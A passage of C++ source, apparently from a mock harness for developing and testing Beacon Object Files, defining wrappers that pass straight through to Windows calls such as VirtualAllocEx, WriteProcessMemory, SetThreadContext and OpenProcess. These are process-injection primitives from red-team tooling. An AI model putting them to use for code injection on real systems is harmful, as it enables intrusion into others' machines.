bof::mock::syscall::ResolveRtls(info->rtls); 598 | return TRUE; 599 | } 600 | return FALSE; 601 | } 602 | 603 | // Beacon System Call API 604 | LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { 605 | return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); 606 | } 607 | 608 | LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { 609 | return VirtualAllocEx(processHandle, lpAddress, dwSize, flAllocationType, flProtect); 610 | } 611 | 612 | BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) { 613 | return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect); 614 | } 615 | 616 | BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) { 617 | return VirtualProtectEx(processHandle, lpAddress, dwSize, flNewProtect, lpflOldProtect); 618 | } 619 | 620 | BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) { 621 | return VirtualFree(lpAddress, dwSize, dwFreeType); 622 | } 623 | 624 | BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext) { 625 | return GetThreadContext(threadHandle, threadContext); 626 | } 627 | 628 | BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext) { 629 | return SetThreadContext(threadHandle, threadContext); 630 | } 631 | 632 | DWORD BeaconResumeThread(HANDLE threadHandle) { 633 | return ResumeThread(threadHandle); 634 | } 635 | 636 | HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId) { 637 | return OpenProcess(desiredAccess, inheritHandle, processId); 638 | } 639 | 640 | HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId) { 641 | return OpenThread(desiredAccess, inheritHandle, threadId); 642 | } 643 | 644 | BOOL BeaconCloseHandle(HANDLE object) { 645 | return CloseHandle(object); 646 | } 647 | 648 | BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress) { 649 | return UnmapViewOfFile(baseAddress); 650 | } 651 | 652 | SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length) { 653 | return VirtualQuery(address, buffer, length); 654 | } 655 | 656 | BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions) { 657 | return DuplicateHandle(hSourceProcessHandle, hSourceHandle, hTargetProcessHandle, lpTargetHandle, dwDesiredAccess, bInheritHandle, dwOptions); 658 | } 659 | 660 | BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead) { 661 | return ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); 662 | } 663 | 664 | BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten) { 665 | return WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten); 666 | } 667 | 668 | 669 | } 670 | --------------------------------------------------------------------------------